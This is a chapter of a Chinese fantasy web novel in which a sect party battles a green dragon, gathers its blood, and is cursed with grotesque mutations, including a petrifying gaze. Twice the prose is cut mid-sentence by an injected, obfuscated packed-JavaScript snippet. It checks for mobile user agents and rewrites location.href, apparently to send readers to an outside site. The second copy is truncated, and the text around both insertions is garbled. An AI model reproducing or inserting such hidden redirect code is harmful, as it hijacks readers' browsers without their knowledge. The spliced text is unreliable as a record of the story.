上千个人都堆在谷口,回头远没有那么迅速。后面的人疏散的慢了,雪已经冲了下来,把人都压在了下面。中间的人发疯地推着前面的人,场面极其混乱,有的哭有的喊,没被雪活埋的也被人踩死了。 不但那群乌合之众被埋了,夷州王的亲兵也被砸在了雪下面。阿萝刚追到山谷口,就见一大片雪从上空塌下来,没头没脸地把人扑在地上。他心道一声不好,眼前陡然一黑,就什么也不知道了。 步云邪在雪还没落下来之前,已然道:“快跑!” 雪浪在他们身后冲了下来,如同从天而降的一座大山,把追兵砸在了下面。大量的雪堵在谷口,活着的人要挖开也要花不少功夫了。 魏小雨大喜,道:“二师兄好聪明,真是太厉害了!” 步云邪咳嗽了几声,道:“不如你厉害,一个人吸这么多疯子来。” 就在这时候,头顶传来了一声咆哮,一阵腥风扑了过来。宋胡缨回头一望,却见那头青龙从山谷中飞了出来。它的满月盛会被这些人毁了,心中十分恼怒,非要吃了他们不可。 眨眼间,那头巨龙已经飞到了他们跟前,尾巴一记横扫,把宋胡缨甩的撞到了山壁上。她摔落在地,疼的半天爬不起来。步云邪也被气流冲击的摔在了地上,胳膊和脸上都擦破了皮。 当啷一声,引魂灯被甩到了远处,因为离主人太远,里头的火光熄灭了。 魏小雨的屁股摔的生疼,忽然感觉一道阴影笼罩在头上。她抬起了头,吓得寒毛直竖,大声道:“龙、龙又来了!” 那头龙已经俯冲过来,张开了大嘴,露出了白森森的牙齿。 步云邪心中一凛,陡然面对这么庞大的怪物,他也无计可施。方才施法招雷耗尽了他的力气,他的心渐渐沉了下去,没想到自己这辈子要了结在这里。 就在刹那间,一阵劲风斩了过来。那头巨龙没有吞了他,反而咆哮了一声,猛然间弓起背飞到了半空中。步云邪转头望过去,就见段星河从后方冲了过来,一剑砍伤了那头龙。 “大师兄!”魏小雨又惊又喜,激动得快哭了,“我就知道你会来救我们的!” 段星河的剑滴着血,抬头望了一眼那巨龙,见它还在空中盘旋。他道:“我听着这边不对劲,幸亏没来晚。” 步云邪扶着山壁站了起来,段星河把他的胳膊架在自己肩膀上,道:“快走,去找六幺他们!” 青龙还没遇到过胆敢这么冒犯自己的凡人,十分恼怒。段星河的剑似乎有非同一般的力量,一般人的武器对它都无法造成伤害,这柄幽冥剑却能斩伤它。巨龙的伤口疼得厉害,发出震天动地的咆哮。 “嗷嗷嗷——” 整个山谷都在震颤,魏小雨捂着耳朵道:“好疼啊,它怎么这么能嚎?” 宋胡缨费劲地爬起来,拉住了魏小雨的手,和他们一起拔腿向前跑。 那头龙再一次飞下来,尾巴猛地抽了过来。段星河听见风声倏忽而至,来不及躲,只能就地一滚。步云邪被气流冲击到了,内脏猛地一疼。他捂着胸口极力忍耐,一口血还是从嘴角涌了出来。段星河扭头道:“受伤了?” 步云邪摇了摇头,脸色十分难看。魏小雨和宋胡缨也摔倒在地,浑身上下没有一处不疼。那头龙的力量极大,刚才那一尾巴抽在山壁上,把石头都扫得崩裂了,碎石子噼里啪啦地直往下落。 众人感到了巨大的力量差距,自己这些人根本不是它的对手。这家伙就像猫玩耗子一般,放他们跑出一段距离,又一巴掌拍翻。给他们一线希望,又狠狠掐灭。再这样下去,大家只能一起死。 “没办法了……” 步云邪抬手擦去了嘴边的血迹,低声道:“我拖住它,你们先走。” 他手上生出了白色的寒光,使出了最后一点力气,将一道寒冰咒向那头龙拍了过去。大量的冰雪裹住了它的身体,随即结了冰。 魏小雨把全部的希望都寄托在他身上,激动道:“成了?” 步云邪知道撑不了多久,道:“快走!” 他话音未落,就听咔咔数声,那头龙扭动着身体,已然破碎了身上的冰。它扬起嘴角,仿佛在嘲弄他们,区区凡人妄想跟自己作对。步云邪用尽了全力的寒冰术,甚至都无法控制它片刻。众人感到了一阵绝望,那头龙倏忽间飞过来,在离步云邪方寸之间的距离停了下来。 它注视着他,仿佛觉得这小子敢于冒犯自己,很有些胆量。 双方对视着,步云邪刹那间整个人的神魂都被慑住了,动弹不得。巨龙银色的瞳孔收成了一条窄缝。步云邪的眼睛控制不住,也跟着变成了一条窄缝,那不是人类会有的眼瞳。 其他人也感到了一股邪恶的力量,刹那间身体发生了某些变化。 巨龙咆哮了一声,张开了大嘴,要把他们吞吃下肚。段星河想站起来,身体却不听使唤。他用力咬破了舌头,疼痛让他的神智恢复了一点。他抓起了剑,这时候就听身后传来一阵脚步声。有人大声喊道:“等等,嘴下留人——” 他回头一望,却是六幺等人赶到了。他们在西边谷口等了许久,听见山谷里闹哄哄的,不知道发生了什么事。片刻又见南边谷口发生了雪崩,他们十分担心,连忙朝这边赶了过来。 六幺以为他们被雪埋住了,正准备来挖人,没想到实际情况比想象的还要糟糕。 他情急之下大吼一声,青龙一怔,随即更大声地咆哮了回去。 “嗷嗷嗷嗷嗷嗷——” 区区凡人,竟然敢在它面前无礼,简直不知天高地厚。六幺也管不了这么多了,手中凝结起一道金气,重重一掌拍了过去。强烈的金戈肃杀之气朝青龙奔腾而去,锐不可当。青龙一摆尾,飞到了半空,藏在了厚厚的云层里。 伏顺跟了过来,仰头看着天空中的龙尾巴,道:“躲起来了?” 段星河恢复了力气,知道稍有喘息之机,这家伙就要卷土重来。他握住了幽冥剑,吼道:“弓来——” 紫色的灵光闪过,幽冥宝匣幻化成了一把硕大的弓箭,弓腰上镌刻着射日弓三个大字。弓身看起来分量十足,极其威武。段星河以自身灵力为箭,拉满了弓弦,接二连三地向天空中射过去。 这射日弓十分了得,能对付得了极厉害的妖兽。那巨龙在云层中飞腾,一个不慎中了一箭,疼的在空中不住翻滚。 “嗷——呜呜——” 只要有用就好,段星河的精神一振,爆发出全身的力量追着它连发数箭。箭矢射在身上便即贯穿一个洞口,眨眼间,青龙已经遍体鳞伤。它像个没头苍蝇似的到处乱飞,段星河的神色凌厉专注,眼里只有它奔逃的轨迹,非要把它射下来不可。 青龙没想到今日居然遇上了命中的克星,无计可施,愤然咆哮一声。 “嗷——” 它怒吼着,钻向了远处的云中,仓皇逃走了。 段星河松了口气,身体晃了一步,这才意识到自己刚才用尽了力气,此时已经有些虚脱了。他手里的长弓嗖地一声化为了幽冥剑的形态,光芒渐渐暗淡下去。地上散落着些碧绿的石头,形状有大有小。他弯腰捡起了一颗珠子,对着月光转动时,绿色里又带着一点暗红的色泽,十分奇妙。 伏顺和赵大海跑了过来,关切道:“大师兄,没事吧。” 段星河道:“没事。” 李玉真也赶了过来,看见了他手里的小石头,道:“咦,这是什么?” 段星河把玩着那块小石头,想起了青龙身上受了重伤,鲜血点点滴滴落了下来。它的血一落地就凝结成了这种宝石,就像松脂结成琥珀一样。 他喃喃道:“青龙血……” “青龙血?”李玉真十分惊讶,“我的天,这就是长生丹里最难找的那四味药之一?” 段星河沾了点雪擦了擦,它已经凝固了,质地非常坚硬。出来这么久,他们遇到过不少妖怪,每一个都不好对付,四神的强悍程度更是远在它们之上。 段星河本来已经对收集这些东西不抱希望了,没想到今天运气不错,不但侥幸从巨龙爪下逃生,还意外得到了青龙血。 大难不死必有后福,天底下能伤得了四圣兽的人也没有几个,这东西极其昂贵。段星河把地上的青龙血一颗颗捡了起来,就当压惊了。炼长生丹也用不了这么多,若是转手卖给凌烟阁,必然能大赚一笔。 伏顺的财迷瘾犯了,眼里放着光,跟在旁边念叨着:“一万、两万、三万……这个大点,得值十万两!” 段星河把珠子收进了腰包,伸手对伏顺招了招。伏顺装傻道:“什……什么?” “拿出来。”段星河刚才瞥见他用脚踩住了一颗,悄悄藏起来了。 伏顺只好把珠子交了出去,只有黄豆粒大小的一颗,却也能值不少钱了。他小声道:“留一个都不行,我就指望这个娶媳妇呢。” 段星河淡淡道:“卖了钱大家一起分。” 宋胡缨扶着山崖站了起来,李玉真道:“没事吧?” 宋胡缨的运气不错,身上只擦破了一点皮,只是还有点疼,道:“没事。” 李玉真看着她,忽然诧异道:“啊,你的耳朵……” 宋胡缨有点莫名其妙,伸手摸了摸自己的耳朵,一个不少,甚至还多了好几个。 她右边的耳朵前面长出了一个小耳朵,后面长出了两个大耳朵,左边则多长出了两个小耳朵,挤挤挨挨的就像下过雨长满了木耳的树桩。每个耳朵都形状各异,重重叠叠的又不对称,长在这么一个好看的少女的脸上,实在让人很难忽略。 宋胡缨摸了几下,感觉不妙,但又理解不了发生了什么事。她有点慌了,道:“怎么回事?” 李玉真面有菜色,也不知道该怎么形容才好。宋胡缨低头看了斩马/刀一眼,雪亮的刀光照亮了她的脸。宋胡缨看见了自己变异的样子,吓了一跳,手里的刀当啷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125822|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声掉在了地上。 与此同时,段星河发现了自己的手背上长出了密密麻麻的鳞片,就像那头青龙身上的鳞一样,在月光下泛着碧粼粼的光。他迅速撸起了衣袖,发现鳞片从手背一直蔓延到了手肘的位置。除了难看一点之外,不痛不痒,没有什么大碍,但其他人就没有这么走运了。 六幺感觉手上痒痒的,挠了几下,忽然意识到不对劲。他低头一看,自己右手长出了七根手指头,左手长出了十三根。那么多手指头有长有短,有大有小,一个手掌上都长不开,被挤到了侧面胡乱地排列着。那情形荒诞而又可怖,让人怀疑是做了一场噩梦。 伏顺站在一旁,扭着头尽力想看到自己身后,道:“我的背好热啊,好像有火在烧,怎么回事?” 他的背上有什么东西在涌动着,就像冒着泡的开水,随时要喷薄而出。 李玉真往前走了一步,愕然道:“你的背……” 他话音未落,几条半透明的触手撕碎了衣裳,从伏顺的背上生了出来。触手短的有一尺,长的有将近一人高,就像个人形海葵一样。他慌张起来,道:“怎么了,我背上有什么?” 他越慌张,背上的触须舞动的越激烈。李玉真往后退了一步,露出了恐惧的神色,道:“你冷静一下,那个……你背上长着好几条长长的东西。” 触须不受控制地到处乱舞,伏顺已经看见了。他恨不能拔腿就跑,可触须就长在他身上,他能跑到哪里去? 他一屁股坐在地上,发抖道:“怎么回事,我变成怪物了,为什么会这样?” 不光他一个,这些人都或多或少的发生了变异。赵大海捂着脑袋坐在一棵大树下,感觉一阵天旋地转,道:“好晕啊……你们这是怎么了?” 他脸上长出了七个眼球,左边三个,右边四个,有的横着长,有的竖着长。每个眼球仿佛都有自己的意志,咕噜噜地不停乱转,看到的都是不同的视角。视线里有人长着十来条触须,有人长着十七八根手指头,有的脸上长满了耳朵,光怪陆离的几乎要让人崩溃。 “古神的诅咒……” 段星河如坠冰窟,恍然间想起了人面疮说过的话——古神不可直视、不可名状,冒犯它的人会遭强烈的诅咒,生不如死。 虽然早就听说过,这个世界的邪神极其可怕,但他们还是头一次真正明白了那股力量有多邪恶。拜月教的咒术就脱胎于青龙的力量,那些法子已经十分歹毒了,跟它本尊比起来,又是小巫见大巫了。 刚才跟青龙对视过的人,都发生了畸变。伏顺和赵大海虽然来的最晚,因为修为低,受的伤害反而最大。另外几个人的修为强一点,变化没有那么严重,但也已经变成寻常人眼里的怪物了。 司空玉从路边的雪地里捡起了引魂灯,用手擦了擦,所幸没摔坏。她和结香这会儿才赶过来,她们二人和李玉真没有受到诅咒。魏小雨因为害怕,从刚才起就一直闭着眼睛,算是歪打正着,也没有事。 魏小雨恐惧地看着周围被诅咒的人,充满了罪恶感。要不是自己偷偷潜进来,也不至于引出这么大风波。她哇地一声哭了出来,道:“都是我不好,对不起。” 李玉真摸了摸她的脑袋,道:“别哭了,跟你没关系的。” 段星河的心中忽然一凛,意识到刚才跟邪神对视最久的人是步云邪。他与邪神近在咫尺,几乎能看清对方眼瞳的每一丝纹理。他转头望了过去,步云邪从刚才起就一直没说话,独自坐在路边的一块石头上,不知道发生了什么变化。 段星河走过去,迟疑了一下,把手搭在他肩上道:“阿云,你怎么样了?” 步云邪背对着他们,低着头揉眼睛。他以前的眼力很好,大老远就能看清对面山上的树上藏着几只山雀。此时却感觉眼前雾蒙蒙的,好像什么都看不清楚。 步云邪回过头来,五官俊秀整齐,皮肤白皙,浑身上下好像哪里都没有问题。段星河见他没发生畸变,松了口气,道:“你没事就好。” 步云邪抬眼看着他,神情里透着困惑。段星河注意到他眼睛的一瞬间,忽然汗毛直立。步云邪的眼睛变成了银色,瞳孔也像蛇一样,变成了又细又长的竖瞳! 这是跟那头龙一样的眼睛,透着一股邪恶的气息。 “怎么了?”步云邪看他的反应,意识到自己的情况不妙,有些不安起来。 段星河伸出手,擦了擦步云邪的眼皮,他眼里的白翳并没有消失,瞳孔的形状也没有变化。不仅如此,与他对视了这片刻,段星河感觉自己的身体也渐渐变得沉重起来,好像动弹不得了。 他下意识转开了脸,心中默念清静经净化气场,那股沉重的感觉这才消失了。 那双眼睛似乎有种奇异的力量,一旦被注视到,就会被剥夺生机。 段星河还不确定是不是这样,步云邪已经站了起来,向前望去。 前方有一棵粗壮的大松树,赵大海像一头熊似的缩成一团坐在树下,正在为了自己刚长出来的七只眼睛难过。他一哭,七个新眼睛跟着两只原生的眼睛一起流泪,就像一个坏掉的水桶,九个洞从四面八方一起漏水,停都停不下来。 他呜呜咽咽道:“我这辈子没干过什么坏事,平时连蚂蚁都不踩死一只,为什么要这么对我……” 伏顺心烦地说:“别哭了,再哭就脱水了。” 赵大海难受的得不行,道:“我这样吓不吓人?” 伏顺身上的须子到处挥舞,硕大的影子投在地上显得更加张牙舞爪,道:“你有我吓人么?” 赵大海默默地抬起了脸,横七竖八的九只眼睛一起看着伏顺,那情形极其诡异。伏顺看他都不知道该往哪里聚焦,下意识打了个寒战,道:“行吧,还是你更吓人一点。” 两人正说着话,忽然见身边的大松树发出了一阵格拉拉的声音。月光照下来,就见那棵松树的下半截变成了石头! 伏顺以为自己看错了,揉了揉眼。就见那股势头从根部向上蔓延,眨眼间整棵树都石化了,树皮的纹路苍老粗糙,松针也变成了一根根细长的石头。就连最巧妙的工匠也无法把石头雕得这么纤毫毕现,而这棵树就在他们眼皮子底下发生了变化。赵大海惊讶地站了起来,道:“怎么回事?” 步云邪站在不远处,他刚才只是盯着那棵树看了片刻,松树就变成了石头。伏顺摘下了一把松针,用力一掰,细一点的石头被掰断了,崩出了细小的石粉。 松树的每一个部分都千真万确地变成了石头。伏顺感觉脑子有点不够用了,喃喃道:“我做梦了?” 步云邪还不愿意相信,目光落在了旁边的一株野草上。瞬息之间,那棵小草也变成了石头,巴掌大的叶子啪嗒一声落在地上,清脆地摔成了碎片。 步云邪的心沉了下去,他看似没有发生畸变,受到的诅咒却比任何人都要重。 众人都意识到是怎么回事了,步云邪的眼睛看什么,什么东西就会变成石头。更可怕的是,这种情况很可能是不可逆的,一旦变成石头,就再也变不回来了。 大家都十分恐惧,不知道该如何是好。伏顺他们身上长触手,顶多就是难看一点。而步云邪的眼睛变成这样,一不小心就可能误伤身边的人。段星河刚才就莫名觉得身体沉重,原来是被他注视的结果。 段星河皱起了眉头,步云邪的心情也很焦虑。他怕伤到别人,转过身去闭上了眼睛。可他总不能一辈子都闭着眼,以后的日子该怎么过? 人面疮在皮囊里都看见了,低声道:“邪神之眼。” 段星河低头道:“什么?” 人面疮道:“据说古神的眼睛有把人变成石头的力量。步兄刚才跟它对视了那么久,眼睛已经被它同化了。” 步云邪的眼睛变成了银色,瞳孔又窄又长,确实已经跟那头龙一模一样了。 步云邪竖着耳朵听他们说话,却不敢回头看任何人。段星河道:“你怎么知道的?” 人面疮沉声道:“我小时候在浩荡盟见过一个师叔,他的修为很高,为人也很善良,却不幸招惹上了拜月教的人,被诅咒变成了邪神之眼。他用尽了一切法子都没能解除诅咒,就连他挚爱的妻子也不慎被他变成了石头。” 众人十分惊讶,又很是同情。段星河道:“后来呢?” 人面疮叹了口气道:“那位师叔万念俱灰,为了不再伤害别人,把自己的双眼挖了下来。就算这样,他也已经受到了诅咒的侵蚀,没过几年就去世了。” 众人都沉默下来,下意识看着步云邪。他背对着这边,微微低着头,陷入了长久的静默当中。 95.邪神之眼 三 月光照下来,不远处的山谷里隐约传来了人声。有的人在呻吟,有的人在呼救,敌人已经苏醒了。雪崩虽然埋住了一部分邪修,还有一部分拜月教的人和邪修躲过了一劫,说不定一会儿就要追过来了。 这地方不能久留,段星河道:“先走再说吧。” 众人互相搀扶着离开了月亮山,他们找到了大车,连夜向南边驶去。 步云邪怕误伤身边的人,拿一块白布蒙住了眼睛。他这样不能骑马,只能跟李玉真换过来,坐在了大车里。伏顺跟他面对面坐着,有点紧张,生怕一个不小心被他变成石头了。他悄悄地挪了一下,片刻又挪了一下下,一会儿功夫就躲到大车的角落里去了。 步云邪早就觉察到他在干什么了,淡淡道:“怕什么,我又不看你。” 伏顺吓了一跳,道:“二师兄,我没有嫌弃你的意思……我就是背上的触手太沉,靠着边轻快一点。” 步云邪没再说什么,片刻伏顺困得睡着了,低低地打起了鼾,身上的触手跟着一颤一颤的。大车压到了一块石头,车厢颠了一下。他身上的触角软软的,啪嗒一下子砸在了步云邪身边。 步云邪:“……” 伏顺醒了过来,沮丧道:“对不起,这些玩意儿是刚长出来的,我控制不好。” 他说着,又忍不住打了好几个喷嚏,好像只要坐在步云邪对面就让他不寒而栗。 段星河隔着窗户,听见车里头一直没消停,知道伏顺就是害怕他的眼睛。他道:“顺子,你出来,咱俩换换。” 伏顺虽然懒得骑马,但一想到能离邪神之眼远一点,顿时又乐意起来。大车停下来,伏顺翻身上了马,回头看旁边的李玉真,没想到自己这对大车兄弟也有一起骑马的一天。 宋胡缨骑马走在他们身边,比平时更面瘫了。她满脑子都是自己多出来的五个耳朵,一会儿排成个人字形,一会儿排成个一字形,越想越讨厌,不知道是不是该狠心割了去。伏顺的触手拖在身后,就像一个人形拖布。难看归难看,往好处想,大冷天还能挡一挡风。宋胡缨多了几个没用的耳朵,每一个都在往脑袋里灌风,比平时更冷了。 步云邪白色的衣衫上沾着血,静静地靠着车壁。从前只觉得他的眼睛如秋水一般清澈好看,此时他蒙着白布,脸部的轮廓反而更加鲜明了。他的鼻梁挺直,嘴唇的形状很漂亮,乌黑的头发垂下来,透着一股憔悴的气息。 他头脑聪明,从来都是一副游刃有余的姿态。如今遇上了这样的意外,他也无计可施,显得彷徨起来。 段星河坐在他对面,安慰道:“别担心,我会帮你想办法的。” 步云邪想起了人面疮的那个师叔,知道如果解除不了诅咒,自己的结局怕是要跟他一样。他低声道:“能有什么办法?” 段星河道:“咱们不是要去蜀山么,那边的长老见多识广,他们肯定有法子的。” 这个念头给大家带来了一线希望。不光步云邪,其他人也受了不同程度的诅咒,谁也不甘心这么过一辈子。步云邪不想给其他人增加负担,尽量保持着平静,道:“嗯,我都听你的。” 段星河握着他的手,轻轻摩挲了几下。步云邪感到他手背上长着坚硬的鳞片,刚才他只顾着自己难过,却不知道段星河受到了怎样的影响。他道:“你的手?” “没事,”段星河轻描淡写道,“就是长了几片鳞,比六幺好多了。你是没见,他长了二十根手指头,藏都没地儿藏。” 六幺听见了,扬声道:“诶,说我什么坏话呢?” 段星河便笑了,道:“没什么,我说等到了前头的镇子,大家都改扮一下,别太引人注意。” 东方渐渐发白,远处已经能看到镇子的轮廓了。伏顺刚开始还有些困意,后来熬得也不想睡了。他放眼向前望过去,就见有几个衣衫褴褛的人从附近的树林里探出头来,查看周围的情形。 那些人一见有人来,就像受惊的动物一样缩了回去。伏顺挠了挠头,道:“怎么回事,跟逃难的似的。” 段星河掀开车帘向外望去,见前头那几个人瞧着眼熟。他明白了,这些是昨天晚上他从石牢里放出来的人牲,没想到经过一夜,他们已经逃到了这里。 “停车。” 段星河吆喝了一声,从车上迈步下去了。那些人原本还像惊弓之鸟,认出了段星河,眼睛顿时亮了起来。一个男子大声道:“少侠,你来了!” 段星河一眼就认出来了,这人是浩荡盟的,人面疮一直惦记着的大师兄应该就是他了。他在牢里饱受折磨,身体都瘦的不成样子了,气度还是跟一般人不同。先前在大幽时,这人为了争夺灵光仙芝,还跟刘正锋来追过自己。当时段星河对他的印象不怎么样,没想到隔了这么久不见,他被抓到了这里。 昨天晚上就是他带头反抗那些守卫,要不是有他帮忙,事情还真没有这么顺利解决。 段星河道:“只有你们么,其他人呢?” 那男子道:“我们从月亮山跑出来之后,就一直逃命,没敢停下来。一些人在前头村子住的,跟着认路的牧民回去了。像我们这样家在外地的,一直往南走,天亮也打算各奔东西了。” 他说着话,人面疮从皮囊里睡醒了。恍惚中它听见有个熟悉的声音说话,抬起须子揉了揉眼睛,趴在气孔上向外望去。就见一个男子带着几个人,正在跟段星河说话。 它睁大了眼睛,几乎不敢相信自己的眼睛,失声道:“大师兄!” 那男子听见有人喊自己,有些疑惑。段星河腰间的皮囊扑棱扑棱直动,激动的声音从里头传了出来。 “大师兄,我在这里,我在这里啊!” 段星河把皮囊打开了,道:“人帮你找到了,要出来吗?” 人面疮方才在皮囊里还兴奋的不得了,一旦盖子打开了,它却安静下来了。大师兄还好好的,自己却变成了这副模样。它有些自惭形秽,觉得自己贪生怕死,屈从于那些妖女的摆布,丢了浩荡盟的人。如今落得这样人不人鬼不鬼的模样,也是报应。 段星河知道它是情怯,替它道:“胡大为你认得么?” 那男子道:“认得啊,他是我师弟,跟我一起被抓来的。他……他还活着么?” “他还活着,也一直惦记着你。”段星河道,“昨天晚上就是他求我去救你们的。他说虽然不知道大师兄是不是还活着,但能救出那么多人,你也肯定会为他高兴的。” 男人的手心冒出了冷汗,看着面前的皮囊,意识到发生了什么事。在拜月教呆了那么久,他见过了不少人悲惨的下场,无外乎是被扔到天池里喂了鱼,或者被当成孵化鱼卵的养料,要不然就是被妖女吸收成为人面疮。 段星河把皮囊递给了他,什么也没说。男人的手不住颤抖,哑声道:“大为?” 人面疮低声道:“是我。” 晨曦照在皮囊里,映出了人面疮的模样。曾经俊俏的小师弟变得畸形怪异,让人不敢直视。男人没有嫌弃他,却是心中一酸,流下了眼泪道:“好兄弟,你还活着就好。多谢你找人来救我,要不然我也逃不出来。” 人面疮十分难过,又觉得无地自容,道:“是我对不起师门。我心志不坚,给师父丢人了……” 那男子道:“别这么说,你帮着救了这么多人,立了大功德。你放心,我带你回去见师父,他修为深厚,一定能救你的!” 他说着向段星河拱手行礼,道:“在下苏子乾,是浩荡盟的长徒。敢问少侠高姓大名,相救之恩,来日必定涌泉相报。” 段星河道:“不必客气,在下段星河,在大幽钦天监供职。” 苏子乾迟疑了一下,道:“段兄,我是不是在哪里见过你?” 段星河曾经被他把脸按在地上摩擦,这辈子都忘不了他。他淡淡道:“在大幽,你跟你师父为了灵光仙芝来追过我。” 苏子乾想起来了,没想到当初那个不起眼的小子,如今也成了拯救无数人的大英雄。果然是那句话,三十年河西,三十年河东。他有些惭愧,道:“对不住,我也是听令行事……唉,其实若论运气,那灵芝本来就该是你的。” 事情已经过去那么久了,想起来也没什么感觉了。段星河洒脱道:“没关系,不打不相识嘛。” 苏子乾松了口气,道:“段兄大度,你们接下来要去什么地方?” 段星河道:“我们要去蜀山一趟。你们要回凤来城么?” 苏子乾怕拜月教的人追上来,道:“对,此地不宜久留,我们这就得动身了。” 段星河本来还要把人面疮送到镇上的驿站,如今遇上了他的师兄,就不用再操心了。他道:“那你们一起走吧,咱们有缘再会。” 人面疮从皮囊里探出了脑袋,对他们还有些依依不舍。它挥了挥须子道:“你们多保重啊。” 段星河微微一笑,道:“你们也多保重,一路顺风。” 其他人跟着苏子乾一起离开了,想到救了这么多人,段星河的心情也好了起来。虽然自己的兄弟们或多或少发生了一些变化,只要想开一点,日子还是勉强能过下去的。 “……你这叫掩耳盗铃。” 伏顺拿布条把身上的躁动不安的须子绑住了,外头套了一件宽大的上衣,脊梁高高地隆起,看起来就像个天生的驼背。这样子虽然不好看,但总算不会被人当成怪物了。 他道:“怎么样?” “不怎么样,”赵大海摇了摇头道,“哪有驼背会自己动的。” 伏顺扭过头,用力拍了后背几下,想让身上的须子安静一会儿。那些触手暂时静了下来,但不知道什么时候又会蠕动起来。 就要进镇子了,段星河让大家把身上变化的部位遮一遮,打算去买点补给。这里还没离开拜月教的地界,尽量还是不要引起人的注意。 赵大海拿了一块白色的粗布,把整个脑袋都严严实实地包了起来,活像个得了传染病的人。宋胡缨从车厢里找到了一个带黑纱的帷帽,戴在了头上,把自己的一堆耳朵遮住了。 众人进了镇子,看起来十分奇怪。有的驼背,有的蒙着脸,有的戴着帽子,一个稍微正常一点的青年还用白布蒙着眼睛。他们聚在一起,就像一个畸形的杂耍班子。六幺沉默着把拥挤的二十根手指头藏在袖子里,觉得跟他们比起来,自己已经算是好的了。 队伍里的东西已经消耗的差不多了,大家分头去买。约好了速战速决,半个时辰后在镇子口汇合。 赵大海买了给牲口吃的黑豆,还有一大口袋熬粥用的玉米糁。路边有人在烤羊肉串,肉烤的滋滋冒油,赵大海忍不住咽了一下口水。魏小雨跟在他身边,眼巴巴地道:“师兄,我想吃。” 赵大海道:“那就买点,来个五十串吧。” 老板摇着扇子,扇得整条街都是羊肉的香气,碳火烤的人暖融融的。老板撒了一把孜然,道:“小朋友,辣子要不要?” 魏小雨道:“要一点。” 老板薄薄地撒了一层辣椒粉,用油纸包好了,把肉串递给他们。两人一起往回走去,就见宋胡缨和司空玉抱着小对眼和墨墨从对面的街上过来了。两个女孩子手里提的包裹很精致,上头印着花朵和蝴蝶,应该是香胰子和擦脸的香脂。六幺默默地跟在后面,保护着她们。 司空玉挥了挥手,道:“你们来了。” 两拨人在镇子中间相遇,就见伏顺和段星河、步云邪,还有李玉真从另一条街过来了。大家买好了东西,放在大车上。墨墨闻见了烤羊肉的味道,扬起了鼻子。它从司空玉的怀里飞了出来,围着赵大海直打转。 “啾,叽啾——” 小对眼也闻见了香味,比墨墨还激动,从宋胡缨的怀里跳下去,像爬树一样顺着赵大海的腿爬了上去。 这段时间大家过得兵荒马乱的,也没有心情管这两个崽子。小对眼每顿饭都吃玉米粥泡馍,已经吃的两眼发绿了。它伸着爪子扒拉赵大海拿着的烤羊肉,赵大海道:“等会儿再吃,这里不方便。” 小对眼嗷嗷直叫,根本等不了。赵大海只好把油纸包举了起来,小对眼蹲在他肩膀上挠了几下,一个不小心勾到了他脸上的白布,从他肩上掉了下去。 小对眼打了个滚落在地上,还好没摔伤。然而赵大海脸上的白布被它扯了下来,顿时露出了横七竖八的一堆眼睛。他站在大街中间,到处都是人,猝不及防地暴露在大太阳底下,好像身上的衣服也被扒光了一般。赵大海慌了,脸上的九个眼睛一起咕噜噜乱转,不知道该先挡住哪一个好。 周围的人看到了那诡异的情形,都吓坏了,有人放声尖叫起来。 “救命,有妖怪啊——” 有人一喊,伏顺背上的触手受了惊吓,开始疯狂涌动起来。伏顺扭头道:“别动、别动!” 那些触手根本不听他的,每一根都有自己意志似的左冲右突,呼啦一下子把他的衣服撕破了。七八条触手从他背上爆了出来,发疯般地到处挥舞着。 宋胡缨头上的帷帽被他的触手掀了下来,露出了一堆奇形怪状的耳朵。人群被吓坏了,闹哄哄地互相推搡,争先恐后地要逃走。六幺拔出了剑,露出了二十根手指头,把司空玉护在身后,道:“县主,别怕!” 司空玉搔了搔脸蛋,道:“那个……我不怕,你别把人家吓着了。” 人们慌得不行,纷纷喊道:“没一个好人,都是妖怪——快跑啊!” 那情形十分混乱,有人吓得撒腿就跑,还有小孩子跑出一段距离,转身朝他们丢石头。伏顺躲在一块招牌后面,整个人都不好了,没想到有一天自己会被当成妖怪。整条街的人都惊恐万分,眨眼间跑了个一干二净,店铺纷纷关上了大门,就连路边摆摊的小贩也扔下摊子逃走了。 一阵寒风吹过,几片枯叶从大街上缓缓飘过去。墨墨没想到自己会搞出这么大骚动,蹲在路边,茫然地看着空荡荡的大街。刚才那包烤羊肉落在了地上,被踩了好几脚,已经不能吃了。 小对眼倒是不在乎这些,淡定地走过去,扒开了纸包。仿佛觉得事已至此,不如先吃饭再说。 “干什么,刚消停了几天,又给我闯祸!” 宋胡缨一把将它拎了起来,一副生气的模样。就算扔了也不能给它吃,要不然它下次还敢。小对眼四脚腾空不停扑腾,仿佛还没明白发生了什么。 都说了要低调,结果还是暴露了。若是拜月教的人来查,一下子就能找到他们的行踪了。步云邪叹了口气,道:“怎么办?” 段星河也有些无可奈何,道:“还能怎么办,赶紧走吧。” 闹了这么大的动静,说不定已经有人去报了官。他们不敢久留,只能抓紧离开这里。走了半日,后头没人追过来,大家松了口气。眼看着天暗下来了,众人便找了个地方扎营。 魏小雨坐在帐篷跟前,啃着一个苹果,看着墨墨和小对眼挨罚。宋胡缨答应过不再打它了,但犯了错又不能不教育,寻思了一下午都没想好该怎么办。李玉真凑过来,一手捂着嘴,在她耳边低声说了几句。 宋胡缨的眼睛一亮,道:“就这么办。” 扎好了帐篷,宋胡缨找了块石头,把两个崽子怼在边上,严肃道:“你们两个白天不守规矩,搞出了很大的骚乱,必须受罚。” 小对眼喵的一声叫,试图萌混过关。宋胡缨不吃这一套,道:“撒什么娇,平时不都嗷嗷叫吗。” 墨墨抖了抖耳朵,想偷偷溜走。宋胡缨拦住了它,道:“给我罚站,半个时辰之内不准休息。” 她把两个崽子提起来,让它俩背靠着石头站着。小对眼很少只靠两只后脚着地,站的很艰难。墨墨也站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 